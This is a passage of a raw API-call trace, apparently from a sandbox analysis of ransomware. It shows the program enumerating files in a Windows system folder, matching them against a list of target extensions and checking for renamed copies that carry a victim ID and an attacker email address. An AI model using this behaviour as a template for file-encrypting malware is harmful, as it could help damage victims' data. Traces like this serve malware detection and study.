[0089.839] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0089.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0089.839] lstrlenW (lpString=".dbf") returned 4 [0089.839] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0089.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0089.839] lstrlenW (lpString=".1cd") returned 4 [0089.839] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0089.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0089.839] lstrlenW (lpString=".jpg") returned 4 [0089.839] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0089.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0089.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0089.840] lstrlenW (lpString=".doc") returned 4 [0089.840] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0089.840] lstrlenW (lpString=".docx") returned 5 [0089.840] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0089.840] lstrlenW (lpString=".pdf") returned 4 [0089.840] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0089.840] lstrlenW (lpString=".xls") returned 4 [0089.840] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0089.840] lstrlenW (lpString=".xlsx") returned 5 [0089.840] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0089.840] lstrlenW (lpString=".ppt") returned 4 [0089.840] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0089.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0089.840] lstrlenW (lpString=".zip") returned 4 [0089.840] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0089.840] lstrlenW (lpString=".rar") returned 4 [0089.840] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0089.840] lstrlenW (lpString=".bz2") returned 4 [0089.840] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0089.840] lstrlenW (lpString=".7z") returned 3 [0089.840] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0089.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0089.841] lstrlenW (lpString=".dbf") returned 4 [0089.841] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0089.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0089.841] lstrlenW (lpString=".1cd") returned 4 [0089.841] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0089.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0089.841] lstrlenW (lpString=".jpg") returned 4 [0089.841] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0089.841] lstrcmpiW (lpString1=".avi", lpString2=".kr") returned -1 [0089.841] lstrlenW (lpString="boxed-delete.avi") returned 16 [0089.841] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0089.841] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=48936) returned 1 [0089.842] CloseHandle (hObject=0x35c) returned 1 [0089.842] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0089.842] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0089.842] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0089.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0089.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0089.842] lstrlenW (lpString=".doc") returned 4 [0089.842] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0089.842] lstrlenW (lpString=".docx") returned 5 [0089.842] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0089.842] lstrlenW (lpString=".pdf") returned 4 [0089.842] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0089.842] lstrlenW (lpString=".xls") returned 4 [0089.842] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0089.842] lstrlenW (lpString=".xlsx") returned 5 [0089.842] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0089.842] lstrlenW (lpString=".ppt") returned 4 [0089.842] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0089.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0089.843] lstrlenW (lpString=".zip") returned 4 [0089.843] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0089.843] lstrlenW (lpString=".rar") returned 4 [0089.843] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0089.843] lstrlenW (lpString=".bz2") returned 4 [0089.843] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0089.843] lstrlenW (lpString=".7z") returned 3 [0089.843] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0089.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0089.843] lstrlenW (lpString=".dbf") returned 4 [0089.843] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0089.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0089.843] lstrlenW (lpString=".1cd") returned 4 [0089.843] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0089.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0089.843] lstrlenW (lpString=".jpg") returned 4 [0089.843] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0089.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0089.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0089.843] lstrlenW (lpString=".doc") returned 4 [0089.843] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0089.843] lstrlenW (lpString=".docx") returned 5 [0089.843] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0089.843] lstrlenW (lpString=".pdf") returned 4 [0089.843] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0089.844] lstrlenW (lpString=".xls") returned 4 [0089.844] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0089.844] lstrlenW (lpString=".xlsx") returned 5 [0089.844] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0089.844] lstrlenW (lpString=".ppt") returned 4 [0089.844] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0089.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0089.844] lstrlenW (lpString=".zip") returned 4 [0089.844] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0089.844] lstrlenW (lpString=".rar") returned 4 [0089.844] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0089.844] lstrlenW (lpString=".bz2") returned 4 [0089.844] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0089.844] lstrlenW (lpString=".7z") returned 3 [0089.844] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0089.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0089.844] lstrlenW (lpString=".dbf") returned 4 [0089.844] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0089.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0089.844] lstrlenW (lpString=".1cd") returned 4 [0089.844] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0089.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0089.844] lstrlenW (lpString=".jpg") returned 4 [0089.844] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0089.845] lstrcmpiW (lpString1=".avi", lpString2=".kr") returned -1 [0089.845] lstrlenW (lpString="boxed-join.avi") returned 14 [0089.845] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0089.846] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=46622) returned 1 [0089.846] CloseHandle (hObject=0x35c) returned 1 [0089.846] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0089.846] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0089.846] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0089.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0089.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0089.846] lstrlenW (lpString=".doc") returned 4 [0089.846] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0089.846] lstrlenW (lpString=".docx") returned 5 [0089.846] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0089.846] lstrlenW (lpString=".pdf") returned 4 [0089.846] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0089.846] lstrlenW (lpString=".xls") returned 4 [0089.846] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0089.847] lstrlenW (lpString=".xlsx") returned 5 [0089.847] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0089.847] lstrlenW (lpString=".ppt") returned 4 [0089.847] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0089.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0089.847] lstrlenW (lpString=".zip") returned 4 [0089.847] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0089.847] lstrlenW (lpString=".rar") returned 4 [0089.847] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0089.847] lstrlenW (lpString=".bz2") returned 4 [0089.847] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0089.847] lstrlenW (lpString=".7z") returned 3 [0089.847] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0089.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0089.847] lstrlenW (lpString=".dbf") returned 4 [0089.847] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0089.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0089.847] lstrlenW (lpString=".1cd") returned 4 [0089.847] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0089.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0089.847] lstrlenW (lpString=".jpg") returned 4 [0089.847] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0089.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0089.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0089.847] lstrlenW (lpString=".doc") returned 4 [0089.847] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0089.848] lstrlenW (lpString=".docx") returned 5 [0089.848] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0089.848] lstrlenW (lpString=".pdf") returned 4 [0089.848] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0089.848] lstrlenW (lpString=".xls") returned 4 [0089.848] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0089.848] lstrlenW (lpString=".xlsx") returned 5 [0089.848] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0089.848] lstrlenW (lpString=".ppt") returned 4 [0089.848] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0089.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0089.848] lstrlenW (lpString=".zip") returned 4 [0089.848] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0089.848] lstrlenW (lpString=".rar") returned 4 [0089.848] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0089.848] lstrlenW (lpString=".bz2") returned 4 [0089.848] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0089.848] lstrlenW (lpString=".7z") returned 3 [0089.848] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0089.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0089.848] lstrlenW (lpString=".dbf") returned 4 [0089.848] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0089.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0089.848] lstrlenW (lpString=".1cd") returned 4 [0089.848] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0089.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0089.848] lstrlenW (lpString=".jpg") returned 4 [0089.849] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0089.849] lstrcmpiW (lpString1=".avi", lpString2=".kr") returned -1 [0089.849] lstrlenW (lpString="boxed-split.avi") returned 15 [0089.849] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0089.849] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=84190) returned 1 [0089.849] CloseHandle (hObject=0x35c) returned 1 [0089.849] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20 [0089.849] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0089.849] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0089.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0089.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0089.850] lstrlenW (lpString=".doc") returned 4 [0089.850] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0089.850] lstrlenW (lpString=".docx") returned 5 [0089.850] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0089.850] lstrlenW (lpString=".pdf") returned 4 [0089.850] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0089.850] lstrlenW (lpString=".xls") returned 4 [0089.850] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0089.850] lstrlenW (lpString=".xlsx") returned 5 [0089.850] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0089.850] lstrlenW (lpString=".ppt") returned 4 [0089.850] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0089.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0089.851] lstrlenW (lpString=".zip") returned 4 [0089.851] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0089.851] lstrlenW (lpString=".rar") returned 4 [0089.851] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0089.851] lstrlenW (lpString=".bz2") returned 4 [0089.851] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0089.851] lstrlenW (lpString=".7z") returned 3 [0089.851] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0089.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0089.851] lstrlenW (lpString=".dbf") returned 4 [0089.851] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0089.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0089.851] lstrlenW (lpString=".1cd") returned 4 [0089.851] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0089.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0089.851] lstrlenW (lpString=".jpg") returned 4 [0089.851] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0089.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0089.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0089.851] lstrlenW (lpString=".doc") returned 4 [0089.851] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0089.851] lstrlenW (lpString=".docx") returned 5 [0089.851] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0089.852] lstrlenW (lpString=".pdf") returned 4 [0089.852] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0089.852] lstrlenW (lpString=".xls") returned 4 [0089.853] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0089.853] lstrlenW (lpString=".xlsx") returned 5 [0089.853] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0089.853] lstrlenW (lpString=".ppt") returned 4 [0089.853] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0089.854] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0089.854] lstrlenW (lpString=".zip") returned 4 [0089.854] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0089.854] lstrlenW (lpString=".rar") returned 4 [0089.854] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0089.854] lstrlenW (lpString=".bz2") returned 4 [0089.854] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0089.854] lstrlenW (lpString=".7z") returned 3 [0089.854] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0089.854] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0089.854] lstrlenW (lpString=".dbf") returned 4 [0089.854] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0089.854] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0089.854] lstrlenW (lpString=".1cd") returned 4 [0089.854] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0089.854] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0089.854] lstrlenW (lpString=".jpg") returned 4 [0089.854] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0089.854] lstrcmpiW (lpString1=".avi", lpString2=".kr") returned -1 [0089.854] lstrlenW (lpString="correct.avi") returned 11 [0089.854] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0089.855] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=180172) returned 1 [0089.855] CloseHandle (hObject=0x35c) returned 1 [0089.855] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0x20 [0089.855] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0089.855] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0089.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0089.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0089.855] lstrlenW (lpString=".doc") returned 4 [0089.855] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0089.855] lstrlenW (lpString=".docx") returned 5 [0089.855] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0089.855] lstrlenW (lpString=".pdf") returned 4 [0089.855] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0089.855] lstrlenW (lpString=".xls") returned 4 [0089.855] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0089.855] lstrlenW (lpString=".xlsx") returned 5 [0089.855] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0089.856] lstrlenW (lpString=".ppt") returned 4 [0089.856] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0089.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0089.856] lstrlenW (lpString=".zip") returned 4 [0089.856] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0089.856] lstrlenW (lpString=".rar") returned 4 [0089.856] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0089.856] lstrlenW (lpString=".bz2") returned 4 [0089.856] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0089.856] lstrlenW (lpString=".7z") returned 3 [0089.856] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0089.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0089.856] lstrlenW (lpString=".dbf") returned 4 [0089.856] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0089.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0089.856] lstrlenW (lpString=".1cd") returned 4 [0089.856] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0089.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0089.856] lstrlenW (lpString=".jpg") returned 4 [0089.856] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0089.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0089.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0089.856] lstrlenW (lpString=".doc") returned 4 [0089.856] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0089.856] lstrlenW (lpString=".docx") returned 5 [0089.856] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0089.856] lstrlenW (lpString=".pdf") returned 4 [0089.856] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0089.857] lstrlenW (lpString=".xls") returned 4 [0089.857] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0089.857] lstrlenW (lpString=".xlsx") returned 5 [0089.857] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0089.857] lstrlenW (lpString=".ppt") returned 4 [0089.857] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0089.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0089.857] lstrlenW (lpString=".zip") returned 4 [0089.857] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0089.857] lstrlenW (lpString=".rar") returned 4 [0089.857] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0089.857] lstrlenW (lpString=".bz2") returned 4 [0089.857] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0089.857] lstrlenW (lpString=".7z") returned 3 [0089.857] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0089.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0089.857] lstrlenW (lpString=".dbf") returned 4 [0089.857] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0089.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0089.857] lstrlenW (lpString=".1cd") returned 4 [0089.857] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0089.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0089.857] lstrlenW (lpString=".jpg") returned 4 [0089.857] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0089.858] lstrcmpiW (lpString1=".avi", lpString2=".kr") returned -1 [0089.858] lstrlenW (lpString="delete.avi") returned 10 [0089.858] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common 